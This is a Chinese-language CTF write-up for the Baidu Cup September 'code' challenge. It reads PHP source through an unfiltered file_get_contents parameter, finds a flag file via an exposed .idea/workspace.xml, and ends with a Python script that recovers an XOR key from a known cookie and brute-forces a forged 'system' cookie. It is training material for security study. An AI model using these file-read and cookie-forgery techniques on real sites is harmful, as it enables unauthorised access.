“百度杯”CTF比赛 九月场 code
初始界面,想到了图片隐写,无果。然后查看源代码
看到了src是通过data伪协议来读取的,读取文件经过了base64编码,可以尝试文件包含index.php。
获得了index.php的base64加密内容
base64解码:
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg']; echo '<title>file:'.$file.'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file); $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
通过源码分析,该项目是由PhpStorm创建的,PhpStorm创建项目时,会生成.idea的文件 夹,其中包含的workspace.xml文件包含网站文件的结构各种信息
访问/.idea/workspace.xml,发现相关flag的文件
通过上面的文件读取这个php文件,根据上面的源代码,过滤了_,因为_非字符。又将config替换为_,所以访问的是fl3gconfigichuqiu.php,得到
base64解码:
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ error_reporting(E_ALL || ~E_NOTICE); include('config.php'); function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } function encrypt($txt,$key){ for($i=0;$i<strlen($txt);$i++){ $tmp .= chr(ord($txt[$i])+10); } $txt = $tmp; $rnd=random(4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $ttmp .= $txt[$i] ^ $key[++$s]; } return base64_encode($rnd.$ttmp); } function decrypt($txt,$key){ $txt=base64_decode($txt); $rnd = substr($txt,0,4); $txt = substr($txt,4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $tmp .= $txt[$i]^$key[++$s]; } for($i=0;$i<strlen($tmp);$i++){ $tmp1 .= chr(ord($tmp[$i])-10); } return $tmp1; } $username = decrypt($_COOKIE['user'],$key); if ($username == 'system'){ echo $flag; }else{ setcookie('user',encrypt('guest',$key)); echo "╮(╯▽╰)╭"; } ?>
//获取flag的思路:要获取flag就要获取key,使得key与$_COOKIE['user']的解密结果为system。
//获取key的思路:通过浏览器向服务器请求“抱歉”表情界面的url,服务器就会向浏览器返回一个固定的cookie值,
//即:encrypt('guest',$key),则cookie值就是明文“guest”与key(5位)加密的结果(即guest与key异或得到cookie,那么guest与cookie异或可以得到key)。
//得到5位的key后,可以爆破第六位的key,只要用得到的5位key连接上构造的第六位key,与“system”进行加密得到的user变量的cookie值去请求相应的url,
//通过服务器反馈的内容含有“flag”关键字符,则说明构造的第六位key值正确,从而可以得到六位的key以及flag的内容。
其实一直有一个疑惑,random不是随机的吗,为什么可以用guest的密钥解密system的。接下来是python脚本:
# -*- coding:utf8 -*- import requests import string from base64 import * #返回“抱歉”表情的url url="http://9ff0d371b9bf45d990adf054addf3c55032e9ee07abe4aa8.changame.ichunqiu.com/fl3g_ichuqiu.php" #请求该url,获取服务器返回的user变量的cookie值,即encrypt('guest',$key) crypt=requests.get(url).cookies['user'] crypt=b64decode(crypt) rnd=crypt[0:4] #密文的前4位字符为随机字符 tmp=crypt[4:] keys=list('xxxxxx') #六位key的初始字符串 guest=list('guest')#guest明文内容 system=list('system') for i in range(len(guest)): guest[i]=chr(ord(guest[i])+10) for i in range(len(guest)): keys[i]=chr(ord(tmp[i])^ord(guest[i])) for i in range(len(system)): system[i]=chr(ord(system[i])+10) s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz' ttmp = '' cookies=[] for ch in s: keys[5]=ch for j in range(len(system)): ttmp+=chr(ord(system[j])^ord(keys[j])) cookies.append(b64encode(rnd+ttmp)) ttmp='' for i in cookies: cookie={'user':i} res = requests.get(url,cookies=cookie) if 'flag' in res.text: print (res.text)